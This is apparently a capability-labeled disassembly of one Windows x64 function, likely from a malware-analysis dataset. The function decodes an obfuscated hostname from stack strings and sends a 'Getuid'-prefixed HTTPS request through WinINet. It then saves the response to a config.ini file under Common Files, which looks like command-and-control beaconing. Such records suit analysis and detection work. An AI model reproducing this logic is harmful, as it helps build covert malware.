Function at 0x140006a80
Capabilities:
Connect to http server
Contain obfuscated stackstrings
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xba0]
sub rsp, 0xca0
mov rax, qword [0x140274940]
xor rax, rsp
mov qword [rbp + 0xb90], rax
xor r13d, r13d
mov r8d, 0x104
lea rdx, [rbp + 0x280]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], r13
lea rax, [rbp + 0x280]
mov r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], r13b
jne 0x140006af0
lea rdx, [rbp + 0x280]
lea rcx, [rbp - 0x70]
call fcn.1400099f0
nop
lea r15, [rbp - 0x70]
mov rbx, qword [rbp - 0x70]
mov rsi, qword [rbp - 0x58]
cmp rsi, 0xf
cmova r15, rbx
mov rdi, qword [rbp - 0x60]
cmp rdi, 1
jb 0x140006b73
lea r12, [rdi + r15]
mov r8, rdi
mov edx, 0x56
mov rcx, r15
call fcn.1401d7220
test rax, rax
je 0x140006b73
cmp byte [rax], 0x56
jne 0x140006b4b
mov ecx, r13d
jmp 0x140006b50
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x140006d21
inc rax
mov r8, r12
sub r8, rax
mov edx, 0x56
mov rcx, rax
call fcn.1401d7220
test rax, rax
jne 0x140006b41
mov rax, r14
test eax, eax
je 0x140007370
lea ecx, [rax + 5]
xorps xmm0, xmm0
movups xmmword [rbp + 0x260], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x270], xmm1
cmp rdi, rcx
jb 0x1400073df
sub rdi, rcx
cmp rdi, 0xffffffffffffffff
cmovb r14, rdi
lea rdx, [rbp - 0x70]
cmp rsi, 0xf
cmova rdx, rbx
add rdx, rcx
mov r8, r14
lea rcx, [rbp + 0x260]
call fcn.1400099f0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140006c03
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006bfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400074ad
call fcn.140004410
movups xmm0, xmmword [rbp + 0x260]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbp + 0x270]
movups xmmword [rbp - 0x60], xmm1
lea rcx, [rbp - 0x70]
movq rdx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0xf
cmova rcx, rdx
call fcn.1401b4f88
mov r8d, eax
lea r9, [rbp + 0x275]
nop dword [rax]
nop word [rax + rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx ecx, dl
shl cl, 2
lea eax, [rcx + rdx]
add al, al
sub r8b, al
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140006c50
lea r8, [rbp + 0x275]
mov rdx, r9
lea rcx, [rbp + 0x10]
call fcn.140003a60
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r14, qword [rbp + 0x20]
sub rax, r14
cmp rax, 7
jb 0x1400073e5
lea r12, [rbp + 0x10]
mov rsi, qword [rbp + 0x10]
mov r13, qword [rbp + 0x28]
cmp r13, 0xf
cmova r12, rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea r15, [r14 + 7]
mov ebx, SafeArrayGetDim
lea rdi, [rbp - 0x30]
cmp r15, rbx
jbe 0x140006d66
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x140006d29
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000c59c
test rax, rax
je 0x1400074a7
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140006d62
sub rax, r15
jmp 0x140006b76
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140006d51
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400073d9
jmp 0x140006d02
test rcx, rcx
je 0x140006d60
call fcn.14000c59c
mov rdi, rax
jmp 0x140006d62
xor edi, edi
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], rbx
mov rax, qword [str.Getuid_]
mov dword [rdi], eax
movzx eax, word [0x14023cde4]
mov word [rdi + 4], ax
movzx eax, byte [0x14023cde6]
mov byte [rdi + 6], al
lea rcx, [rdi + 7]
mov r8, r14
mov rdx, r12
call fcn.1401d6700
mov byte [rdi + r15], 0
mov dword [rbp + 0x250], 0x612e736d
mov dword [rbp + 0x254], 0x716a716e
mov dword [rbp + 0x258], 0x2e637269
mov word [rbp + 0x25c], 0x6363
mov byte [rbp + 0x25e], 0
xor edi, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r8d, 0x1bb
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, [rbp + 0x250]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r8, qword [rbp - 0x30]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, [0x14023cde8]
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r14, rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 0x1f]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov dword [rsp + 0x68], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], SafeArrayGetDim
mov byte [rsp + 0x70], dil
lea r9, [rsp + 0x68]
mov r8d, 0x800
lea rdx, [rbp + 0x390]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140006f51
nop dword [rax]
mov eax, dword [rsp + 0x68]
test eax, eax
je 0x140006f4f
mov edi, eax
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140006f13
lea rax, [rcx + rdi]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x70]
add rbx, rcx
mov r8d, edi
lea rdx, [rbp + 0x390]
mov rcx, rbx
call fcn.1401d6700
mov byte [rbx + rdi], 0
jmp 0x140006f2c
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x390]
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.140009860
lea r9, [rsp + 0x68]
mov r8d, 0x800
lea rdx, [rbp + 0x390]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140006ec0
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov r8d, 0x2e
lea rdx, str.C:Program_Files__x86_Common_Filesconfig.ini
lea rcx, [rbp - 0x10]
call fcn.1400099f0
nop
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x30]
call fcn.1401d6da0
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x30]
call fcn.140008720
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], SafeArrayGetDim
mov byte [rbp - 0x50], 0
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x70]
mov rcx, qword [rax + 8]
mov qword [rbp + 0x268], rcx
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp + 0x260]
call fcn.1400092e0
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx ebx, al
mov rcx, qword [rbp + 0x268]
test rcx, rcx
je 0x14000700c
mov rdx, qword [rcx]
call qword [rdx + reloc.OLEAUT32.dll_SafeArrayGetDim]
test rax, rax
je 0x14000700c
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx r8d, bl
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x30]
call fcn.14000a120
lea rcx, [rbp + 0x40]
call fcn.140008da0
mov ebx, 6
lea r14d, [rbx - 4]
test rax, rax
jne 0x14000705f
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx + 0x78], 0
cmovne eax, r14d
or eax, dword [rbp + rcx + 0x40]
and eax, 0x17
mov dword [rbp + rcx + 0x40], eax
mov edx, dword [rbp + rcx + 0x44]
and edx, eax
jne 0x1400073eb
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x140]
call fcn.1401d6da0
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x140]
call fcn.140007600
nop
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x140]
call fcn.14000a360
mov rcx, rax
call fcn.140009480
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rdx, qword [rsp + 0x70]
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x140]
call fcn.14000a360
lea rcx, [rbp + 0x148]
call fcn.140008da0
test rax, rax
jne 0x140007113
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x188], 0
cmovne ebx, r14d
or ebx, dword [rbp + rcx + 0x150]
and ebx, 0x17
mov dword [rbp + rcx + 0x150], ebx
mov eax, dword [rbp + rcx + 0x154]
and eax, ebx
jne 0x140007441
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x140], rax
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x13c], edx
lea rcx, [rbp + 0x148]
call fcn.140008480
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x140], rax
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x13c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x1e8], rbx
lea rcx, [rbp + 0x1e8]
call fcn.1401a8158
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400071d6
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400071d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007495
call fcn.140004410
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], SafeArrayGetDim
mov byte [rbp - 0x50], 0
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x40]
call fcn.140008480
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x2c], edx
mov qword [rbp + 0xe0], rbx
lea rcx, [rbp + 0xe0]
call fcn.1401a8158
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140007287
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007282
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000749b
call fcn.140004410
movdqa xmm0, xmmword [0x14023d740]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400072d4
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400072cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400074a1
call fcn.140004410
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], SafeArrayGetDim
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140007320
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000731b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400074a7
call fcn.140004410
movdqa xmm0, xmmword [0x14023d740]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
cmp r13, 0xf
jbe 0x140007368
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140007360
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400074ad
mov rcx, rsi
call fcn.140004410
mov rbx, qword [rbp - 0x70]
mov rsi, qword [rbp - 0x58]
cmp rsi, 0xf
jbe 0x1400073a3
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000739b
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400073d3
mov rcx, rbx
call fcn.140004410
mov rcx, qword [rbp + 0xb90]
xor rcx, rsp
call fcn.1401a6530
lea r11, [rsp + 0xca0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1401ae9a0
nop
call fcn.140002f00
nop
call fcn.140003a40
nop
call fcn.140002fa0
nop
test dl, 4
je 0x1400073f9
lea rbx, str.ios_base::badbit_set
jmp 0x14000740e
test r14b, dl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x260]
call fcn.1400044d0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140004e90
lea rdx, [0x14026ddd0]
lea rcx, [rsp + 0x40]
call fcn.1401a9600
nop
test al, 4
je 0x14000744e
lea rbx, str.ios_base::badbit_set
jmp 0x140007462
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x260]
call fcn.1400044d0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140004e90
lea rdx, [0x14026ddd0]
lea rcx, [rsp + 0x40]
call fcn.1401a9600
nop
call fcn.1401ae9a0
nop
call fcn.1401ae9a0
nop
call fcn.1401ae9a0
nop
call fcn.1401ae9a0
nop
call fcn.1401ae9a0
int3